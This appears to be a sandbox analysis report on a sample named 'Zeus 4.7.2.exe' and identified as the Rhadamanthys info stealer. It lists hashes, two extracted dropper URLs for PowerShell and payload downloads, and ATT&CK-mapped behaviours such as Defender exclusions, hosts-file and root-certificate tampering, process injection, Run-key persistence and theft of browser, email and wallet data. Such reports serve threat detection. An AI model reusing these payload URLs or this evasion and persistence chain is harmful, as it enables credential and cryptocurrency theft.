rhadamanthys | 5a32b1864bcb2d237aca956c3b7474c2de484c38cbaa608ab5ffc71214bae2b8

Resubmissions

07/06/2024, 15:13

240607-slps8aac5v 10

07/06/2024, 15:11

240607-sk3zfsbb99 10

07/06/2024, 15:08

240607-sh7vmaac2s 10

07/06/2024, 15:05

240607-sgnqcsbb65 10

Analysis

max time kernel
150s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 15:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Zeus 4.7.2.exe
Size

173KB
MD5

28e0ba051ad84949cfedd2a58b1636cb
SHA1

6ff46613adb7594c6abbe0ee9c64a68129501fb8
SHA256

265013eb61e407130b8fe723809549000ffe4ad96ef6c5ad1945e2727cee5aa0
SHA512

a14ea1a7e8756e15aee996c848006a1f2212acd753ca1629224b362fe8ef24331c49617f59bd84846b95a2143744418bbd78a4d0088efab76228344662ae67a4
SSDEEP

3072:NPBBih6XScZZmmiyQrcR6qx6LAIxkN3wlCxvxrtJRscwX7zhhxXNrykAOkvpObQ:Nyh6XffliyQrC6LAIxkpwlOJrtJRscwi

Score

10^/10

rhadamanthys evasion execution persistence spyware stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/lem61111111111/raw

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/43g34g34g34/34g34g34g34g/raw/e946dd91d069dd0a14070ddbc4920354650bd041/lem.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1320 created 2544	1320	lyg4vpdr.tli1.exe	42

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	724	powershell.exe
10	724	powershell.exe
21	4484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2432	powershell.exe
3636	powershell.exe
3800	powershell.exe
724	powershell.exe
4484	powershell.exe
1168	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lyg4vpdr.tli3.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	Zeus 4.7.2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	explorer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	lyg4vpdr.tli0.exe

Executes dropped EXE 6 IoCs

pid	Process
1564	HadesHex-GUI.exe
4492	explorer.exe
3248	lyg4vpdr.tli0.exe
1320	lyg4vpdr.tli1.exe
1824	lyg4vpdr.tli2.exe
4364	lyg4vpdr.tli3.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	lyg4vpdr.tli3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	bitbucket.org
10	bitbucket.org
21	bitbucket.org

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	api.ipify.org
20	api.ipify.org
22	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	lyg4vpdr.tli3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	lyg4vpdr.tli3.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	lyg4vpdr.tli2.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1824 set thread context of 4268	1824	lyg4vpdr.tli2.exe	156

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4668	sc.exe
1128	sc.exe
4768	sc.exe
4988	sc.exe
2980	sc.exe
1052	sc.exe
4424	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4788	schtasks.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4556	wmic.exe
3776	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	23	Go-http-client/1.1

Modifies data under HKEY_USERS 54 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 07 Jun 2024 15:15:44 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717773343"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5259035C-F981-4DC7-B468-06F33B83B4B9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	lyg4vpdr.tli3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	lyg4vpdr.tli3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	lyg4vpdr.tli3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
724	powershell.exe
724	powershell.exe
3800	powershell.exe
3800	powershell.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
2432	powershell.exe
2432	powershell.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
2432	powershell.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe
4364	lyg4vpdr.tli3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	724	powershell.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	4364	lyg4vpdr.tli3.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeIncreaseQuotaPrivilege	2008	wmic.exe
Token: SeSecurityPrivilege	2008	wmic.exe
Token: SeTakeOwnershipPrivilege	2008	wmic.exe
Token: SeLoadDriverPrivilege	2008	wmic.exe
Token: SeSystemProfilePrivilege	2008	wmic.exe
Token: SeSystemtimePrivilege	2008	wmic.exe
Token: SeProfSingleProcessPrivilege	2008	wmic.exe
Token: SeIncBasePriorityPrivilege	2008	wmic.exe
Token: SeCreatePagefilePrivilege	2008	wmic.exe
Token: SeBackupPrivilege	2008	wmic.exe
Token: SeRestorePrivilege	2008	wmic.exe
Token: SeShutdownPrivilege	2008	wmic.exe
Token: SeDebugPrivilege	2008	wmic.exe
Token: SeSystemEnvironmentPrivilege	2008	wmic.exe
Token: SeRemoteShutdownPrivilege	2008	wmic.exe
Token: SeUndockPrivilege	2008	wmic.exe
Token: SeManageVolumePrivilege	2008	wmic.exe
Token: 33	2008	wmic.exe
Token: 34	2008	wmic.exe
Token: 35	2008	wmic.exe
Token: 36	2008	wmic.exe
Token: SeIncreaseQuotaPrivilege	2008	wmic.exe
Token: SeSecurityPrivilege	2008	wmic.exe
Token: SeTakeOwnershipPrivilege	2008	wmic.exe
Token: SeLoadDriverPrivilege	2008	wmic.exe
Token: SeSystemProfilePrivilege	2008	wmic.exe
Token: SeSystemtimePrivilege	2008	wmic.exe
Token: SeProfSingleProcessPrivilege	2008	wmic.exe
Token: SeIncBasePriorityPrivilege	2008	wmic.exe
Token: SeCreatePagefilePrivilege	2008	wmic.exe
Token: SeBackupPrivilege	2008	wmic.exe
Token: SeRestorePrivilege	2008	wmic.exe
Token: SeShutdownPrivilege	2008	wmic.exe
Token: SeDebugPrivilege	2008	wmic.exe
Token: SeSystemEnvironmentPrivilege	2008	wmic.exe
Token: SeRemoteShutdownPrivilege	2008	wmic.exe
Token: SeUndockPrivilege	2008	wmic.exe
Token: SeManageVolumePrivilege	2008	wmic.exe
Token: 33	2008	wmic.exe
Token: 34	2008	wmic.exe
Token: 35	2008	wmic.exe
Token: 36	2008	wmic.exe
Token: SeIncreaseQuotaPrivilege	3776	wmic.exe
Token: SeSecurityPrivilege	3776	wmic.exe
Token: SeTakeOwnershipPrivilege	3776	wmic.exe
Token: SeLoadDriverPrivilege	3776	wmic.exe
Token: SeSystemProfilePrivilege	3776	wmic.exe
Token: SeSystemtimePrivilege	3776	wmic.exe
Token: SeProfSingleProcessPrivilege	3776	wmic.exe
Token: SeIncBasePriorityPrivilege	3776	wmic.exe
Token: SeCreatePagefilePrivilege	3776	wmic.exe
Token: SeBackupPrivilege	3776	wmic.exe
Token: SeRestorePrivilege	3776	wmic.exe
Token: SeShutdownPrivilege	3776	wmic.exe
Token: SeDebugPrivilege	3776	wmic.exe
Token: SeSystemEnvironmentPrivilege	3776	wmic.exe
Token: SeRemoteShutdownPrivilege	3776	wmic.exe
Token: SeUndockPrivilege	3776	wmic.exe
Token: SeManageVolumePrivilege	3776	wmic.exe
Token: 33	3776	wmic.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3532	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5012 wrote to memory of 3800	5012	Zeus 4.7.2.exe	82
PID 5012 wrote to memory of 3800	5012	Zeus 4.7.2.exe	82
PID 5012 wrote to memory of 3800	5012	Zeus 4.7.2.exe	82
PID 5012 wrote to memory of 1564	5012	Zeus 4.7.2.exe	84
PID 5012 wrote to memory of 1564	5012	Zeus 4.7.2.exe	84
PID 5012 wrote to memory of 4492	5012	Zeus 4.7.2.exe	85
PID 5012 wrote to memory of 4492	5012	Zeus 4.7.2.exe	85
PID 4492 wrote to memory of 724	4492	explorer.exe	86
PID 4492 wrote to memory of 724	4492	explorer.exe	86
PID 724 wrote to memory of 3248	724	powershell.exe	96
PID 724 wrote to memory of 3248	724	powershell.exe	96
PID 724 wrote to memory of 3248	724	powershell.exe	96
PID 724 wrote to memory of 1320	724	powershell.exe	97
PID 724 wrote to memory of 1320	724	powershell.exe	97
PID 724 wrote to memory of 1320	724	powershell.exe	97
PID 3248 wrote to memory of 4880	3248	lyg4vpdr.tli0.exe	98
